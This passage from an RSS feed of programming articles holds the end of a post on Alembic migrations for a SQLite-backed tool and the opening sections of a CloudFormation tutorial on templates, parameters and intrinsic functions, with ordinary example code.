&lt;h3 id=&quot;a-simple-migration-for-contrast&quot;&gt;A simple migration, for contrast&lt;/h3&gt;
&lt;p&gt;Not every migration is a fight. Adding a table is exactly what you'd hope:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def upgrade() -&amp;gt; None:
    op.create_table(
        &quot;spend_snapshots&quot;,
        sa.Column(&quot;id&quot;, sa.Integer(), primary_key=True, autoincrement=True, nullable=False),
        sa.Column(&quot;snapshot_date&quot;, sa.Date(), nullable=False),
        # Stored as a string, matching SafeNumeric: SQLite has no Decimal, and
        # a float column would quietly round money.
        sa.Column(&quot;total_estimated_monthly_usd&quot;, sa.String(), nullable=False),
        sa.Column(&quot;open_findings&quot;, sa.Integer(), nullable=False),
        sa.Column(&quot;active_resources&quot;, sa.Integer(), nullable=False),
        sa.Column(&quot;captured_at&quot;, sa.DateTime(timezone=True), nullable=False),
    )
    op.create_index(
        op.f(&quot;ix_spend_snapshots_snapshot_date&quot;),
        &quot;spend_snapshots&quot;, [&quot;snapshot_date&quot;], unique=True,
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the docstring convention this project uses: the &lt;em&gt;why&lt;/em&gt;, not the &lt;em&gt;what&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;code&gt;snapshot_date&lt;/code&gt; is UNIQUE on purpose. The repository upserts by date, so two&lt;br&gt;
scans on the same day collapse to one row. Otherwise a day that happened to&lt;br&gt;
be scanned five times would weigh five times as much in the trailing mean, and&lt;br&gt;
the z-score would measure scan cadence rather than spend.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Six months later, that paragraph is worth more than the code.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;keeping-constraints-from-drifting&quot;&gt;Keeping constraints from drifting&lt;/h3&gt;
&lt;p&gt;CHECK constraints duplicating enum values is a drift hazard. This project&lt;br&gt;
generates them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def _in_clause(column: str, values: type[StrEnum]) -&amp;gt; str:
    &quot;&quot;&quot;Render `column IN ('a', 'b', ...)` straight from a StrEnum.

    Generated rather than hand-written so the constraint cannot drift from the
    enum: adding a ResourceType now updates this automatically, and only the
    Alembic migration has to be written by hand.
    &quot;&quot;&quot;
    members = &quot;, &quot;.join(f&quot;'{member.value}'&quot; for member in values)
    return f&quot;{column} IN ({members})&quot;


class ResourceModel(Base):
    __tablename__ = &quot;resources&quot;
    ...
    __table_args__ = (
        CheckConstraint(_in_clause(&quot;lifecycle&quot;, ResourceLifecycle),
                        name=&quot;check_resource_lifecycle&quot;),
        CheckConstraint(_in_clause(&quot;resource_type&quot;, ResourceType),
                        name=&quot;check_resource_type&quot;),
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The model side can never drift from the enum. Only the migration is&lt;br&gt;
hand-written, which is unavoidable, since a migration must describe a &lt;em&gt;transition&lt;/em&gt; between&lt;br&gt;
two states, and only one of them exists in your code.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;testing-migrations&quot;&gt;Testing migrations&lt;/h3&gt;
&lt;p&gt;A green &lt;code&gt;alembic upgrade head&lt;/code&gt; proves almost nothing (see attempt 1). Two things&lt;br&gt;
worth doing:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Round-trip against a copy of a real database.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp data/sentinel.db /tmp/mig-test.db
SENTINEL_DB_PATH=/tmp/mig-test.db alembic upgrade head
SENTINEL_DB_PATH=/tmp/mig-test.db alembic downgrade -1
SENTINEL_DB_PATH=/tmp/mig-test.db alembic upgrade head

sqlite3 /tmp/mig-test.db &quot;select count(*) from resources; select count(*) from findings;&quot;
# 274 / 187, same as before
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Real data, real row counts, and it catches data loss a fresh database never&lt;br&gt;
would.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Assert the error message is useful.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An un-migrated database should not produce a raw SQL traceback:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def upsert_resource(self, resource: Resource) -&amp;gt; None:
    try:
        self._upsert_resource(resource)
    except IntegrityError as exc:
        if &quot;check_resource_type&quot; not in str(exc):
            raise
        raise RuntimeError(
            f&quot;The findings database does not allow resource type &quot;
            f&quot;'{resource.resource_type}'. It was created by an older &quot;
            f&quot;version of FinOps Sentinel. Run `alembic upgrade head` &quot;
            f&quot;against {self.db_url} and scan again.&quot;
        ) from exc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Failing hard is right: a half-written inventory is worse than a stopped run.&lt;br&gt;
But the traceback told nobody what to do. Now it names the type, the database,&lt;br&gt;
and the command.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;command-reference&quot;&gt;Command reference&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;alembic revision -m &quot;message&quot;                  # empty migration, hand-written
alembic revision --autogenerate -m &quot;message&quot;   # diff models vs database

alembic upgrade head          # apply everything outstanding
alembic upgrade +1            # one step forward
alembic downgrade -1          # one step back
alembic downgrade base        # all the way down

alembic current               # what revision is this database at?
alembic history --verbose     # the full chain
alembic heads                 # &amp;gt;1 means you have a branch to merge
alembic merge -m &quot;merge&quot; a1b2 c3d4

alembic upgrade head --sql    # print SQL instead of executing (offline mode)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;alembic current&lt;/code&gt; is the one to reach for when something is confusing. It tells&lt;br&gt;
you where Alembic thinks the database is, and if that disagrees with the&lt;br&gt;
database you &lt;em&gt;expect&lt;/em&gt;, you have the bug from earlier in this post.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;checklist&quot;&gt;Checklist&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Never edit a migration that has been applied anywhere but your laptop.&lt;/strong&gt;&lt;br&gt;
Write a new one. The old revision ID is a foreign key in every database that&lt;br&gt;
ran it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read autogenerated migrations before committing.&lt;/strong&gt; Especially for renames,&lt;br&gt;
which autogenerate turns into drop-plus-add.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write the &quot;why&quot; in the docstring.&lt;/strong&gt; The SQL says what; only you can say why.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test on a copy of real data.&lt;/strong&gt; Fresh databases hide data-loss bugs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dump the schema after non-trivial migrations.&lt;/strong&gt; &quot;It ran&quot; is not &quot;it worked.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Give the database URL one owner&lt;/strong&gt; that both the app and Alembic call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Make downgrades honest&lt;/strong&gt;, including refusing when the honest inverse is&lt;br&gt;
data loss.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Migrations are the one part of a codebase where a mistake is not just wrong but&lt;br&gt;
&lt;em&gt;permanently&lt;/em&gt; wrong, replicated to every environment that ran it. Worth the&lt;br&gt;
extra ten minutes.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Every example here is from &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/boazleleina/finops-sentinel&quot;&gt;github.com/boazleleina/finops-sentinel&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26691/alembic-in-practice-structure-revisions-and-the-traps-sqlite-sets</guid>
<pubDate>Thu, 10 Sep 2026 03:50:15 +0000</pubDate>
</item>
<item>
<title>Infrastructure as Code with AWS CloudFormation</title>
<link>https://coderlegion.com/26565/infrastructure-as-code-with-aws-cloudformation</link>
<description>&lt;p&gt;By the end of this guide, you will not just know what CloudFormation does. You will understand why each feature exists, what problem it solves, what breaks without it, and how features chain together to solve real infrastructure problems. Every concept is introduced with a problem first, not a definition first.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;What is CloudFormation and Why It Matters&lt;/li&gt;
&lt;li&gt;Logical and Physical Resources&lt;/li&gt;
&lt;li&gt;Templates: Portable vs Non-Portable&lt;/li&gt;
&lt;li&gt;Template Parameters and Pseudo Parameters&lt;/li&gt;
&lt;li&gt;Intrinsic Functions&lt;/li&gt;
&lt;li&gt;Mappings&lt;/li&gt;
&lt;li&gt;Outputs&lt;/li&gt;
&lt;li&gt;Conditions&lt;/li&gt;
&lt;li&gt;DependsOn&lt;/li&gt;
&lt;li&gt;Wait Conditions and cfn-signal&lt;/li&gt;
&lt;li&gt;cfn-init&lt;/li&gt;
&lt;li&gt;cfn-hup&lt;/li&gt;
&lt;li&gt;Nested Stacks&lt;/li&gt;
&lt;li&gt;Cross-Stack References&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-is-cloudformation-and-why-it-matters&quot;&gt;What is CloudFormation and Why It Matters&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-it-solves&quot;&gt;The Problem It Solves&lt;/h4&gt;
&lt;p&gt;Imagine you are building a three-tier web application. You need a VPC, subnets, an EC2 instance, a security group, an RDS database, an S3 bucket, and a load balancer. You click through the AWS Console and get it working. Three weeks later, a colleague asks you to replicate the exact environment for staging. You click through everything again. Two hours later, something is different you missed a security group rule, the subnet CIDR is wrong, and the RDS instance has a different parameter group.&lt;/p&gt;
&lt;p&gt;This is the core problem. Manual infrastructure is not repeatable, not auditable, and not scalable.&lt;/p&gt;
&lt;p&gt;CloudFormation is AWS's answer. You describe your infrastructure in a template a YAML or JSON file and CloudFormation takes that description and builds the real AWS resources. The template becomes the single source of truth.&lt;/p&gt;
&lt;h4 id=&quot;what-cloudformation-actually-is&quot;&gt;What CloudFormation Actually Is&lt;/h4&gt;
&lt;p&gt;CloudFormation is a declarative infrastructure provisioning engine. You declare &lt;em&gt;what&lt;/em&gt; you want, not &lt;em&gt;how&lt;/em&gt; to create it. CloudFormation figures out the &lt;em&gt;how&lt;/em&gt;, including the order in which resources must be created, the dependencies between them, and what to clean up if something fails.&lt;/p&gt;
&lt;h4 id=&quot;why-it-matters-beyond-convenience&quot;&gt;Why It Matters Beyond Convenience&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Repeatability&lt;/strong&gt; The same template deployed ten times produces ten identical environments.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Version control&lt;/strong&gt; Your infrastructure lives in Git. Every change is tracked. Every rollback is a &lt;code&gt;git revert&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accountability&lt;/strong&gt; Who changed the security group? Check the commit history.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Speed&lt;/strong&gt; A 40-resource stack that takes two hours to click through manually deploys in minutes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disaster recovery&lt;/strong&gt; When a region fails, you re-deploy the template in another region. Your infrastructure is code, not memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost&lt;/strong&gt; Stacks can be deleted entirely after use. Temporary environments cost nothing when they are gone.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CloudFormation is not just a tool. It is a practice the practice of treating infrastructure with the same discipline as application code.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;logical-and-physical-resources&quot;&gt;Logical and Physical Resources&lt;/h3&gt;
&lt;h4 id=&quot;the-concept&quot;&gt;The Concept&lt;/h4&gt;
&lt;p&gt;This is the foundation. If you misunderstand this, everything else will be confusing.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;logical resource&lt;/strong&gt; is what you write in the template. It is a declaration a name you give to a resource and a description of what you want.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;physical resource&lt;/strong&gt; is what AWS actually creates when CloudFormation processes your template. It has a real ID an instance ID, a bucket name, a security group ID.&lt;/p&gt;
&lt;h4 id=&quot;the-relationship&quot;&gt;The Relationship&lt;/h4&gt;
&lt;p&gt;When you write this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  MyWebServer:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t3.micro
      ImageId: ami-0c55b159cbfafe1f0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;MyWebServer&lt;/code&gt; is the logical resource. The actual EC2 instance that gets created say &lt;code&gt;i-0a1b2c3d4e5f6&lt;/code&gt; is the physical resource.&lt;/p&gt;
&lt;p&gt;The logical resource exists only in your template. The physical resource exists in AWS.&lt;/p&gt;
&lt;h4 id=&quot;why-this-distinction-matters&quot;&gt;Why This Distinction Matters&lt;/h4&gt;
&lt;p&gt;CloudFormation tracks the mapping between logical and physical resources in something called the &lt;strong&gt;stack&lt;/strong&gt;. This mapping is what enables CloudFormation to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update a resource when you change the template&lt;/li&gt;
&lt;li&gt;Replace a resource when a change requires replacement&lt;/li&gt;
&lt;li&gt;Delete all physical resources when you delete the stack&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you manually delete a physical resource that CloudFormation manages, the stack loses track of it. On the next update or delete, CloudFormation will fail or behave unpredictably because the physical resource it expects to find is gone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule:&lt;/strong&gt; Never manually modify a physical resource that is managed by a CloudFormation stack. Make the change in the template instead.&lt;/p&gt;
&lt;h4 id=&quot;what-happens-during-stack-creation&quot;&gt;What Happens During Stack Creation&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;CloudFormation reads your template.&lt;/li&gt;
&lt;li&gt;It builds a dependency graph of all logical resources.&lt;/li&gt;
&lt;li&gt;It creates physical resources in the correct order.&lt;/li&gt;
&lt;li&gt;It maps each logical resource to its new physical resource.&lt;/li&gt;
&lt;li&gt;The stack reaches &lt;code&gt;CREATE_COMPLETE&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If any resource creation fails, CloudFormation rolls back it deletes everything it already created and the stack reaches &lt;code&gt;ROLLBACK_COMPLETE&lt;/code&gt;. Nothing is left half-built.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;templates-portable-vs-non-portable&quot;&gt;Templates: Portable vs Non-Portable&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-with-non-portable-templates&quot;&gt;The Problem with Non-Portable Templates&lt;/h4&gt;
&lt;p&gt;Here is a simple template:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;AWSTemplateFormatVersion: &quot;2010-09-09&quot;
Description: Simple EC2 instance

Resources:
  MyInstance:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t3.micro
      ImageId: ami-0c55b159cbfafe1f0
      SubnetId: subnet-0abc1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works. Once. In one region. For one person.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;ImageId&lt;/code&gt; is an AMI ID. AMI IDs are region-specific. &lt;code&gt;ami-0c55b159cbfafe1f0&lt;/code&gt; in &lt;code&gt;us-east-1&lt;/code&gt; is not the same image in &lt;code&gt;eu-west-1&lt;/code&gt; in fact, it probably does not exist there at all. The &lt;code&gt;SubnetId&lt;/code&gt; is hardcoded to a specific subnet in a specific AWS account.&lt;/p&gt;
&lt;p&gt;If you or anyone else tries to deploy this template in a different region or a different account, it will fail.&lt;/p&gt;
&lt;p&gt;This is a &lt;strong&gt;non-portable template&lt;/strong&gt;. It has hardcoded values that only work in one specific context.&lt;/p&gt;
&lt;h4 id=&quot;what-would-happen-if-you-ran-it&quot;&gt;What Would Happen If You Ran It&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;In your account, same region: Works.&lt;/li&gt;
&lt;li&gt;In your account, different region: Fails. AMI ID does not exist.&lt;/li&gt;
&lt;li&gt;In a colleague's account: Fails. Subnet ID does not exist.&lt;/li&gt;
&lt;li&gt;In a CI/CD pipeline targeting staging: Fails. Both IDs are wrong.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;the-solution-portable-templates&quot;&gt;The Solution: Portable Templates&lt;/h4&gt;
&lt;p&gt;A portable template contains no hardcoded environment-specific values. Instead, it accepts inputs, references dynamic values, and uses lookup mechanisms to resolve environment-specific details at deploy time.&lt;/p&gt;
&lt;p&gt;The tools that enable portability are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Parameters&lt;/strong&gt; Inputs you provide at deploy time&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pseudo Parameters&lt;/strong&gt; Values AWS provides automatically (account ID, region, etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intrinsic Functions&lt;/strong&gt; Functions that resolve values dynamically&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mappings&lt;/strong&gt; Lookup tables built into the template&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The portable version of the above template:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;AWSTemplateFormatVersion: &quot;2010-09-09&quot;
Description: Portable EC2 instance

Parameters:
  SubnetId:
    Type: AWS::EC2::Subnet::Id
    Description: The subnet to launch the instance into

Mappings:
  RegionAMIMap:
    us-east-1:
      AMI: ami-0c55b159cbfafe1f0
    eu-west-1:
      AMI: ami-0d71ea30463e0ff49

Resources:
  MyInstance:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t3.micro
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      SubnetId: !Ref SubnetId
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now this template works in any region that is in the map, and in any account. The subnet is provided at deploy time. The AMI is looked up based on which region you are deploying to.&lt;/p&gt;
&lt;p&gt;This is the difference between a template you write once and a template you write once and use everywhere.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;template-parameters-and-pseudo-parameters&quot;&gt;Template Parameters and Pseudo Parameters&lt;/h3&gt;
&lt;h4 id=&quot;template-parameters&quot;&gt;Template Parameters&lt;/h4&gt;
&lt;p&gt;Parameters make your template an interface. Instead of hardcoding values, you expose inputs that the person deploying the template or an automation system provides at deploy time.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Parameters:
  EnvironmentName:
    Type: String
    Default: development
    AllowedValues:
      - development
      - staging
      - production
    Description: The environment this stack is being deployed to

  InstanceType:
    Type: String
    Default: t3.micro
    AllowedValues:
      - t3.micro
      - t3.small
      - t3.medium
    Description: EC2 instance type

  DBPassword:
    Type: String
    NoEcho: true
    MinLength: 8
    MaxLength: 32
    Description: Database password will not be displayed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Key parameter types:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Type &lt;/th&gt;&lt;th&gt;What It Validates&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;String&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Any string&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Number&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Numeric value&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::EC2::Subnet::Id&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Must be a valid subnet ID in your account&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::EC2::KeyPair::KeyName&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Must be a valid key pair name&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::SSM::Parameter::Value&amp;lt;String&amp;gt;&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Pulls value from Systems Manager Parameter Store&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;code&gt;NoEcho: true&lt;/code&gt; property is important. It prevents the value from being displayed in the Console or CLI output. Use it for passwords and secrets. Note: it is not encryption. The value is still stored in the stack. Do not use it for genuinely sensitive production secrets use Secrets Manager or SSM SecureString instead.&lt;/p&gt;
&lt;p&gt;To reference a parameter inside the template:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Properties:
  InstanceType: !Ref InstanceType
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;!Ref&lt;/code&gt; on a parameter returns its value. That is it. Simple.&lt;/p&gt;
&lt;h4 id=&quot;pseudo-parameters&quot;&gt;Pseudo Parameters&lt;/h4&gt;
&lt;p&gt;Pseudo parameters are values that AWS provides automatically. You do not declare them. They are always available.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Pseudo Parameter &lt;/th&gt;&lt;th&gt;What It Returns&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::AccountId&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Your 12-digit AWS account ID&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::Region&lt;/code&gt; &lt;/td&gt;&lt;td&gt;The region being deployed to, e.g. &lt;code&gt;eu-west-1&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::StackName&lt;/code&gt; &lt;/td&gt;&lt;td&gt;The name of the current stack&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::StackId&lt;/code&gt; &lt;/td&gt;&lt;td&gt;The full ARN of the stack&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::NoValue&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Used to conditionally remove a property&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::Partition&lt;/code&gt; &lt;/td&gt;&lt;td&gt;&lt;code&gt;aws&lt;/code&gt;, &lt;code&gt;aws-cn&lt;/code&gt;, or &lt;code&gt;aws-us-gov&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;AWS::URLSuffix&lt;/code&gt; &lt;/td&gt;&lt;td&gt;&lt;code&gt;amazonaws.com&lt;/code&gt; or region-specific suffix&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Usage example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  MyBucket:
    Type: AWS::S3::Bucket
    Properties:
      BucketName: !Sub &quot;myapp-${AWS::AccountId}-${AWS::Region}-logs&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This creates a bucket name like &lt;code&gt;myapp-123456789012-eu-west-1-logs&lt;/code&gt;. Because account IDs and regions are globally unique, this bucket name will never collide with anyone else's, and the same template deployed to multiple regions will always produce a unique bucket name.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AWS::NoValue&lt;/code&gt; is used when you want to conditionally exclude a property:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Properties:
  DBSnapshotIdentifier: !If [IsProduction, !Ref SnapshotId, !Ref AWS::NoValue]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the condition &lt;code&gt;IsProduction&lt;/code&gt; is false, the property is completely removed from the resource definition. AWS sees it as if you never wrote it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;intrinsic-functions&quot;&gt;Intrinsic Functions&lt;/h3&gt;
&lt;h4 id=&quot;what-they-are&quot;&gt;What They Are&lt;/h4&gt;
&lt;p&gt;Intrinsic functions are built-in functions that CloudFormation evaluates when it processes your template. They let you compute values, reference other resources, join strings, look up mappings, and make decisions all at deploy time.&lt;/p&gt;
&lt;p&gt;You cannot use them in every part of a template. They work in the &lt;code&gt;Properties&lt;/code&gt; section of resources, in &lt;code&gt;Outputs&lt;/code&gt;, and in &lt;code&gt;Metadata&lt;/code&gt;. They do not work in the &lt;code&gt;Parameters&lt;/code&gt; section.&lt;/p&gt;
&lt;h4 id=&quot;the-core-functions&quot;&gt;The Core Functions&lt;/h4&gt;
&lt;h5 id=&quot;-ref&quot;&gt;!Ref&lt;/h5&gt;
&lt;p&gt;Returns the value of a parameter or the default identifier of a resource.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# On a parameter: returns the parameter value
InstanceType: !Ref InstanceTypeParam

# On a resource: returns the resource's primary identifier
SubnetId: !Ref MySubnet   # Returns the Subnet ID of MySubnet
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What &lt;code&gt;!Ref&lt;/code&gt; returns depends on the resource type. For an EC2 instance it returns the instance ID. For an S3 bucket it returns the bucket name. For a security group it returns the group ID. Always check the CloudFormation documentation for what &lt;code&gt;!Ref&lt;/code&gt; returns for each resource type.&lt;/p&gt;
&lt;h5 id=&quot;-getatt&quot;&gt;!GetAtt&lt;/h5&gt;
&lt;p&gt;Returns a specific attribute of a resource not just the primary identifier.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Get the ARN of a Lambda function
FunctionArn: !GetAtt MyLambdaFunction.Arn

# Get the DNS name of a load balancer
LoadBalancerDNS: !GetAtt MyALB.DNSName

# Get the ARN of an IAM role
RoleArn: !GetAtt MyRole.Arn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;!GetAtt&lt;/code&gt; is how you wire resources together. You create a load balancer and then pass its DNS name to your Route 53 record. You create an IAM role and pass its ARN to a Lambda function.&lt;/p&gt;
&lt;h5 id=&quot;-sub&quot;&gt;!Sub&lt;/h5&gt;
&lt;p&gt;Substitutes variables into a string. The most readable way to build dynamic strings.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Simple substitution with pseudo parameters
BucketName: !Sub &quot;myapp-${AWS::AccountId}-${AWS::Region}&quot;

# Substitution with logical resource references
Description: !Sub &quot;This is the ${EnvironmentName} environment stack&quot;

# Substitution with explicit variable map
Command: !Sub
  - &quot;aws s3 cp s3://${BucketName}/config.json /etc/myapp/config.json&quot;
  - BucketName: !Ref MyBucket
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;!Sub&lt;/code&gt; is cleaner than &lt;code&gt;!Join&lt;/code&gt; for most string-building tasks. Use it by default and only reach for &lt;code&gt;!Join&lt;/code&gt; when you are working with lists.&lt;/p&gt;
&lt;h5 id=&quot;-join&quot;&gt;!Join&lt;/h5&gt;
&lt;p&gt;Joins a list of values with a delimiter.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Join with no delimiter
PolicyArn: !Join [&quot;&quot;, [&quot;arn:aws:iam::&quot;, !Ref AWS::AccountId, &quot;:root&quot;]]

# Join with comma delimiter
AllowedOrigins: !Join [&quot;,&quot;, [!Ref Domain1, !Ref Domain2]]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;-select&quot;&gt;!Select&lt;/h5&gt;
&lt;p&gt;Returns a single value from a list by index.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Get the first availability zone in the region
AvailabilityZone: !Select [0, !GetAZs &quot;&quot;]

# Get the second
AvailabilityZone: !Select [1, !GetAZs &quot;&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;!GetAZs&lt;/code&gt; returns all availability zones in a region. &lt;code&gt;!Select&lt;/code&gt; picks one. This combination is used constantly when creating subnets across AZs.&lt;/p&gt;
&lt;h5 id=&quot;-findinmap&quot;&gt;!FindInMap&lt;/h5&gt;
&lt;p&gt;Looks up a value in a Mapping (covered in the next section).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;-if&quot;&gt;!If&lt;/h5&gt;
&lt;p&gt;Returns one of two values based on a condition.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;InstanceType: !If [IsProduction, m5.xlarge, t3.micro]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;-and-or-not-equals&quot;&gt;!And, !Or, !Not, !Equals&lt;/h5&gt;
&lt;p&gt;Logical operators used when defining conditions.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Conditions:
  IsProductionAndEU: !And
    - !Condition IsProduction
    - !Equals [!Ref AWS::Region, &quot;eu-west-1&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;-importvalue&quot;&gt;!ImportValue&lt;/h5&gt;
&lt;p&gt;Imports a value exported by another stack. This is how Cross-Stack References work — covered in detail in section 14.&lt;/p&gt;
